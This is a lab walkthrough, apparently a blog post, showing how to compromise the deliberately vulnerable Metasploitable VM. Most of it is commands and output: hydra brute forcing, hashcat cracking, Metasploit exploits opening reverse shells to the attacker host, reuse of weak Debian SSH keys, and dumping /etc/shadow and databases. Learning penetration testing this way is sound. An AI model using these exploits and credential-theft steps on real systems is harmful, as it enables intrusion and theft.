Metasploitable
Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image with a number of vulnerable packages included, which can be run on most virtualization software.
You can grab your copy at Vulnhub – Metasploitable
I used Kali Linux for attacking and VirtualBox for virtualization.
Information Gathering
nmap is a great tool for scanning ports and finding network services on a machine.
We will run nmap with the following options:
-sV to probe open ports for service and version info
-O to fingerprint and try to guess the operating system
-p1-65535 to do a complete port scan
root@kali:~# nmap -sV -O 192.168.0.14 -p1-65535 Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-12 16:46 MDT Nmap scan report for 192.168.0.14 Host is up (0.00073s latency). Not shown: 65522 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.1 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 MAC Address: 08:00:27:EE:93:3E (Cadmus Computer Systems) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.34 seconds
Attacking Passwords and Cracking Hashes
First, we try to attack weak passwords and crack any password hashes we have found before trying to locate or exploit a vulnerability on the machine. In this section I have gathered the usernames, passwords and hashes beforehand in order to better demonstrate the use of the following tools.
SSH Bruteforce
hydra is a great tool for bruteforcing network services. Although it is tedious to bruteforce SSH, it is still important to have the know how.
We will run hydra with the -C option to pass a colon separated file containing usernames and passwords
root@kali:~# hydra -C metasploitableuserpass.txt 192.168.0.14 ssh Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2015-06-12 17:10:04 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 6 tasks per 1 server, overall 64 tasks, 6 login tries, ~0 tries per task [DATA] attacking service ssh on port 22 [22][ssh] host: 192.168.0.14 login: msfadmin password: msfadmin [22][ssh] host: 192.168.0.14 login: postgres password: postgres [22][ssh] host: 192.168.0.14 login: service password: service [22][ssh] host: 192.168.0.14 login: klog password: 123456789 [22][ssh] host: 192.168.0.14 login: user password: user [22][ssh] host: 192.168.0.14 login: sys password: batman 1 of 1 target successfully completed, 6 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2015-06-12 17:10:04
Telnet Bruteforce
We can use hydra once again to bruteforce the telnet service running on the system. We once again use the -C option.
root@kali:~# hydra -C metasploitableuserpass.txt 192.168.0.14 telnet Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2015-06-12 20:27:15 [WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available [DATA] max 6 tasks per 1 server, overall 64 tasks, 6 login tries, ~0 tries per task [DATA] attacking service telnet on port 23 [23][telnet] host: 192.168.0.14 login: user password: user [23][telnet] host: 192.168.0.14 login: sys password: batman [23][telnet] host: 192.168.0.14 login: klog password: 123456789 [23][telnet] host: 192.168.0.14 login: postgres password: postgres [23][telnet] host: 192.168.0.14 login: msfadmin password: msfadmin [23][telnet] host: 192.168.0.14 login: service password: service 1 of 1 target successfully completed, 6 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2015-06-12 20:27:20
Cracking Hashes
From the bruteforced SSH accounts, we can find the password hashes for accounts on the system by using reading the contents of the /etc/shadow file and proceed to crack the hashes using hashcat
We use the -m option to specify the type of hash being passed and also add a wordlist of possible passwords to reduce the time required to crack the hash.
root@kali:~# hashcat -m 500 metasploitablehash.txt metasploitablepass.txt Initializing hashcat v0.49 with 1 threads and 32mb segment-size... Added hashes from file /root/metasploitablehash.txt: 7 (7 salts) NOTE: press enter for status-screen $1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:batman $1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:123456789 $1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:msfadmin $1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:user $1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:postgres $1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:service Input.Mode: Dict (/root/metasploitablepass.txt) Index.....: 1/1 (segment), 6 (words), 48 (bytes) Recovered.: 6/7 hashes, 6/7 salts Speed/sec.: - plains, - words Progress..: 6/6 (100.00%) Running...: --:--:--:-- Estimated.: --:--:--:-- Started: Fri Jun 12 17:01:19 2015 Stopped: Fri Jun 12 17:01:19 2015
Exploitation and Privilege Escalation
Samba
The version of Samba running on the box is vulnerable to Samba “username map script” Command Execution and can be exploited using the Metasploit module.
msf > use exploit/multi/samba/usermap_script msf exploit(usermap_script) > show options Module options (exploit/multi/samba/usermap_script): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.0.14 yes The target address RPORT 139 yes The target port Payload options (cmd/unix/reverse): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.0.13 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf exploit(usermap_script) > run [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo zvN93GNFfTvnAR16; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "zvN93GNFfTvnAR16\r\n" [*] Matching... [*] A is input... [*] Command shell session 4 opened (192.168.0.13:4444 -> 192.168.0.14:43221) at 2015-06-12 17:26:04 -0600 id uid=0(root) gid=0(root)
This version of samba is also vulnerable to Samba Symlink Directory Traversal due to the presence of a writable share on the system which can be identified using the enum4linux tool.
root@kali:~# enum4linux 192.168.0.14 WARNING: ldapsearch is not in your path. Check that package is installed and your PATH is sane. Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Jun 14 17:17:02 2015 ========================== | Target Information | ========================== Target ........... 192.168.0.14 ... [+] Attempting to map shares on 192.168.0.14 //192.168.0.14/print$ Mapping: DENIED, Listing: N/A //192.168.0.14/tmp Mapping: OK, Listing: OK //192.168.0.14/opt Mapping: DENIED, Listing: N/A ...
We can see that the tmp share is writable and leverage this to exploit the directory traversal vulnerability.
msf > use auxiliary/admin/smb/samba_symlink_traversal msf auxiliary(samba_symlink_traversal) > show options Module options (auxiliary/admin/smb/samba_symlink_traversal): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.0.14 yes The target address RPORT 445 yes Set the SMB service port SMBSHARE tmp yes The name of a writeable share on the server SMBTARGET rootfs yes The name of the directory that should point to the root filesystem msf auxiliary(samba_symlink_traversal) > run [*] Connecting to the server... [*] Trying to mount writeable share 'tmp'... [*] Trying to link 'rootfs' to the root filesystem... [*] Now access the following share to browse the root filesystem: [*] \\192.168.0.14\tmp\rootfs\ [*] Auxiliary module execution completed
We can now use the smbclient command to browse the disk and gather authorized SSH keys for the system or even add our own keys as authorized SSH keys.
root@kali:~# smbclient //192.168.0.14/tmp Enter root's password: Anonymous login successful Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] smb: \> cd rootfs\/root/.ssh/ smb: \rootfs\root\.ssh\> get authorized_keys getting file \rootfs\root\.ssh\authorized_keys of size 405 as authorized_keys (197.7 KiloBytes/sec) (average 197.8 KiloBytes/sec) smb: \rootfs\root\.ssh\> ^C root@kali:~# cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
We can use this information to exploit the Debian OpenSSH Predictable PRNG exploit illustrated further on in this post.
distcc
The distcc program has a daemon running as a network service which is vulnerable to DistCC Daemon Command Execution and can be exploited using the Metasploit module.
msf > use exploit/unix/misc/distcc_exec msf exploit(distcc_exec) > show options Module options (exploit/unix/misc/distcc_exec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.0.14 yes The target address RPORT 3632 yes The target port Payload options (cmd/unix/reverse): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.0.13 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Target msf exploit(distcc_exec) > run [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo jjkbNNf5ZM9T9S8f; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "jjkbNNf5ZM9T9S8f\r\n" [*] Matching... [*] A is input... [*] Command shell session 5 opened (192.168.0.13:4444 -> 192.168.0.14:41599) at 2015-06-12 17:30:07 -0600 id uid=1(daemon) gid=1(daemon) groups=1(daemon)
Apache Tomcat
The Apache Tomcat service uses the default credentials tomcat/tomcat which allows us to deploy arbitrary JSP applications and gain a shell on the machine.
We can exploit this using the module Apache Tomcat Manager Application Deployer Authenticated Code Execution or Apache Tomcat Manager Authenticated Upload Code Execution. The only difference between the modules is that the former uses a PUT request to upload the payload whereas the the latter uses a POST request to the /manager/html/upload application of Tomcat to upload the payload.
msf > use exploit/multi/http/tomcat_mgr_deploy msf exploit(tomcat_mgr_deploy) > show options Module options (exploit/multi/http/tomcat_mgr_deploy): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD tomcat no The password for the specified username PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST 192.168.0.14 yes The target address RPORT 8180 yes The target port USERNAME tomcat no The username to authenticate as VHOST no HTTP server virtual host Payload options (java/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.0.13 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf exploit(tomcat_mgr_deploy) > run [*] Started reverse handler on 192.168.0.13:4444 [*] Attempting to automatically select a target... [*] Automatically selected target "Linux x86" [*] Uploading 6473 bytes as DW4jt5FInhZE9yysl2qFBXquq.war ... [*] Executing /DW4jt5FInhZE9yysl2qFBXquq/4JE8SRGFoTspH3bDjPjRNHrqjdjHh.jsp... [*] Undeploying DW4jt5FInhZE9yysl2qFBXquq ... [*] Sending stage (30680 bytes) to 192.168.0.14 [*] Meterpreter session 7 opened (192.168.0.13:4444 -> 192.168.0.14:59015) at 2015-06-12 17:57:23 -0600 meterpreter > getuid Server username: tomcat55
Apache httpd Webserver
The Apache webserver is not vulnerable in itself but it does host vulnerable applications. We can use dirb to crawl the webserver and locate possibly vulnerable applications.
We use the -r option with dirb to not search within directories recursively as we are only trying to locate vulnerable applications for now. In usual scans, recursive search is a great tool to locate sensitive information or otherwise hidden vulnerable applications.
root@kali:~# dirb http://192.168.0.14 /usr/share/wordlists/dirb/big.txt -r ----------------- DIRB v2.21 By The Dark Raver ----------------- START_TIME: Fri Jun 12 18:35:53 2015 URL_BASE: http://192.168.0.14/ WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt OPTION: Not Recursive ----------------- GENERATED WORDS: 20458 ---- Scanning URL: http://192.168.0.14/ ---- + http://192.168.0.14/cgi-bin/ (CODE:403|SIZE:328) + http://192.168.0.14/index (CODE:200|SIZE:45) + http://192.168.0.14/phpinfo (CODE:200|SIZE:47560) + http://192.168.0.14/server-status (CODE:403|SIZE:333) ==> DIRECTORY: http://192.168.0.14/tikiwiki/ ==> DIRECTORY: http://192.168.0.14/twiki/ ----------------- DOWNLOADED: 20458 - FOUND: 4
TikiWiki
The TikiWiki web application has two vulnerabilities, TikiWiki Information Disclosure and TikiWiki tiki-graph_formula Remote PHP Code Execution.
We will exploit both these vulnerabilities using the second module mentioned above which includes the information disclosure exploit.
msf > use exploit/unix/webapp/tikiwiki_graph_formula_exec msf exploit(tikiwiki_graph_formula_exec) > show options Module options (exploit/unix/webapp/tikiwiki_graph_formula_exec): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST 192.168.0.14 yes The target address RPORT 80 yes The target port URI /tikiwiki yes TikiWiki directory path VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 Automatic msf exploit(tikiwiki_graph_formula_exec) > run [*] Started reverse handler on 192.168.0.13:4444 [*] Attempting to obtain database credentials... [*] The server returned : 200 OK [*] Server version : Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch [*] TikiWiki database informations : db_tiki : mysql dbversion : 1.9 host_tiki : localhost user_tiki : root pass_tiki : root dbs_tiki : tikiwiki195 [*] Attempting to execute our payload... [*] Sending stage (40499 bytes) to 192.168.0.14 [*] Meterpreter session 8 opened (192.168.0.13:4444 -> 192.168.0.14:56372) at 2015-06-12 18:41:35 -0600 meterpreter > getuid Server username: www-data (33)
Debian OpenSSH
The OpenSSH version running on the system is vulnerable to the Debian’s OpenSSL Library Predictable Random Number Generator exploit.
For this, we will need to acquire a list of authorized keys which we can do using an unprivileged shell by reading the /root/.ssh/authorized_keys file.
cat /root/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
Now that we have an authorized key, we need to find out the private key paired with the authorized public key. We can get the archive of compromised key pairs provided by the folks at Offensive Security on their Github – RSA 2048.
After extracting the archive, we can locate the private key file paired with the public key and use it to SSH in as the root user.
root@kali:~/rsa/2048# grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== *.pub 57c3115d77c56390332dc5c49978627a-5429.pub root@kali:~# ssh -i /rsa/2048/57c3115d77c56390332dc5c49978627a-5429 [email protected] Public key 57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a blacklisted (see ssh-vulnkey(1)); continuing anyway Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ You have mail. root@metasploitable:~# id uid=0(root) gid=0(root) groups=0(root)
PostgreSQL
The PostgreSQL service running on the system uses default credentials and can be exploited to gain a shell on the system using the PostgreSQL for Linux Payload Execution Metasploit module.
msf > use exploit/linux/postgres/postgres_payload msf exploit(postgres_payload) > show options Module options (exploit/linux/postgres/postgres_payload): Name Current Setting Required Description ---- --------------- -------- ----------- DATABASE template1 yes The database to authenticate against PASSWORD postgres no The password for the specified username. Leave blank for a random password. RHOST 192.168.0.14 yes The target address RPORT 5432 yes The target port USERNAME postgres yes The username to authenticate as VERBOSE false no Enable verbose output Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.0.13 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Linux x86 msf exploit(postgres_payload) > run [*] Started reverse handler on 192.168.0.13:4444 [*] 192.168.0.14:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) [*] Uploaded as /tmp/BpmBaUTU.so, should be cleaned up automatically [*] Command shell session 3 opened (192.168.0.13:4444 -> 192.168.0.14:34466) at 2015-06-14 14:41:37 -0600 id uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres)
Privilege Escalation
The Linux kernel version can be found by running uname -a on a shell on the Metasploitable box.
meterpreter > shell Process 6071 created. Channel 5 created. uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
This kernel version is vulnerable to Linux udev Netlink Local Privilege Escalation.
We can use the relevant metasploit module to exploit this vulnerability.
msf > use exploit/linux/local/udev_netlink msf exploit(udev_netlink) > show options Module options (exploit/linux/local/udev_netlink): Name Current Setting Required Description ---- --------------- -------- ----------- NetlinkPID no Usually udevd pid-1. Meterpreter sessions will autodetect SESSION 8 yes The session to run this module on. WritableDir /tmp yes A directory where we can write files (must not be mounted noexec) Exploit target: Id Name -- ---- 0 Linux x86 msf exploit(udev_netlink) > run [*] Started reverse handler on 192.168.0.13:4444 [*] Attempting to autodetect netlink pid... [*] Meterpreter session, using get_processes to find netlink pid [*] udev pid: 2655 [+] Found netlink pid: 2654 [*] Writing payload executable (152 bytes) to /tmp/BSsWpWUGOB [*] Writing exploit executable (1879 bytes) to /tmp/dFDoNsoNgO [*] chmod'ing and running it... [*] Command shell session 9 opened (192.168.0.13:4444 -> 192.168.0.14:56373) at 2015-06-12 18:45:17 -0600 id uid=0(root) gid=0(root)
Post Exploitation
Password Hashes
As root user, we can easily grab password hashes from the machine.
root@metasploitable:~# cat /etc/shadow root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7::: daemon:*:14684:0:99999:7::: bin:*:14684:0:99999:7::: sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7::: sync:*:14684:0:99999:7::: games:*:14684:0:99999:7::: man:*:14684:0:99999:7::: lp:*:14684:0:99999:7::: mail:*:14684:0:99999:7::: news:*:14684:0:99999:7::: uucp:*:14684:0:99999:7::: proxy:*:14684:0:99999:7::: www-data:*:14684:0:99999:7::: backup:*:14684:0:99999:7::: list:*:14684:0:99999:7::: irc:*:14684:0:99999:7::: gnats:*:14684:0:99999:7::: nobody:*:14684:0:99999:7::: libuuid:!:14684:0:99999:7::: dhcp:*:14684:0:99999:7::: syslog:*:14684:0:99999:7::: klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7::: sshd:*:14684:0:99999:7::: msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7::: bind:*:14685:0:99999:7::: postfix:*:14685:0:99999:7::: ftp:*:14685:0:99999:7::: postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7::: mysql:!:14685:0:99999:7::: tomcat55:*:14691:0:99999:7::: distccd:*:14698:0:99999:7::: user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7::: service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7::: telnetd:*:14715:0:99999:7::: proftpd:!:14727:0:99999:7:::
MySQL Database Compromise
The MySQL database present on the system uses the default credentials of root/root and the database can be compromised to disclose sensitive data.
root@metasploitable:~# mysql -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 27 Server version: 5.0.51a-3ubuntu5 (Ubuntu) Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | tikiwiki | | tikiwiki195 | +--------------------+ 4 rows in set (0.00 sec)
PostgreSQL Database Compromise
The PostgreSQL installation on the box also uses default credentials postgres/postgres and can be compromised to disclose sensitive data. To access this database we need to switch to the postgres user with password postgres.
root@metasploitable:~# su postgres postgres@metasploitable:/root$ psql -U postgres Welcome to psql 8.3.1, the PostgreSQL interactive terminal. Type: \copyright for distribution terms \h for help with SQL commands \? for help with psql commands \g or terminate with semicolon to execute query \q to quit postgres=# \l List of databases Name | Owner | Encoding -----------+----------+---------- postgres | postgres | UTF8 template0 | postgres | UTF8 template1 | postgres | UTF8 (3 rows)
Notes
Metasploitable is a demo box which is meant to demonstrate the use of tools rather than to emulate an actual penetration test and for this reason it has absolutely zero defenses and uses a lot of vulnerable applications and default credentials. Comparatively more realistic penetration test virtual machines can be found over at VulnHub for learning and hands-on experience with computer and network security.
3 thoughts on “Metasploitable Walkthrough: An Exploitation Guide”